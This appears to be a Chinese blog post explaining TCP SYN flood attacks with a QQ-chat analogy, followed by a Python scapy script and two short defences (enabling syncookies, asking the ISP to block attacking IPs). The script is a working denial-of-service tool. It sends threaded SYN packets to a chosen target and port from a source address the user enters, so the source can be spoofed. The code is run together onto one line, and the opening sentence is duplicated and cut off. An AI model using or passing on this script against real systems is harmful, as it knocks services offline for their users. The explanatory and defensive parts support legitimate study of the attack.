在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你
在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你在不在?也就是一个ack+syn包。这个时候,如果我们不回妹子,妹子就会很郁闷,过会妹子又会问,我在的,你在不在?也就是再发一个ack+syn包,若果我们继续不回,过段时间之后,妹子就会关掉这个聊天窗口,对于服务器来说,服务器会回收掉这个socket。如果有妹子的好多好友突然疯狂的发送,美女在不在,当这样的包太多的时候,就会干扰妹子正常的qq聊天,如果妹子的电脑性能不佳,妹子就不得不关闭qq或者是关机了。
对服务器而言,维护这样一种syn-received的链接状态,需要耗费一定的内存和cpu资源。当这种连接数数以万计或者更多的时候,服务器不得不花费大量的资源来处理这些资源,有时候在服务器上执行netstat都会卡死,用ss -s的话很快。
测试代码:
#!/usr/bin/pythonfrom random import randintfrom scapy.all import *import threadingclass Settings(object): def __init__(self): self.src_addr=raw_input("enter src ip address:").strip() self.dst_addr=raw_input("enter dst ip address:").strip() self.dport=int(raw_input("enter dst port:")) self.tcp_flags='S'class Packet(object): def __init__(self,setting): self.setting=setting self.packet=(IP(src=self.setting.src_addr,dst=self.setting.dst_addr)/TCP(sport=randint(20000,50000),dport=self.setting.dport,flags=self.setting.tcp_flags))def fire(bullets): threads=[] for packet in bullets: threads.append(threading.Thread(target=sr1,args=(packet.packet),kwargs={'verbose':1,'timeout':5})) for thread in threads: thread.start() for thread in threads: thread.join() print "Done"def main(): setting=Settings() nums=int(raw_input("enter num of threads:")) bullets=[Packet(setting) for i in range(nums)] fire(bullets)main()
syn-flood的防御方法(自己只知道这么多.....):
(1)开启syncookie
在/etc/sysctl.conf配置文件中添加:net.ipv4.tcp_syncookies = 1,然后执行sysctl -p
(2)联系ISP对攻击IP进行封杀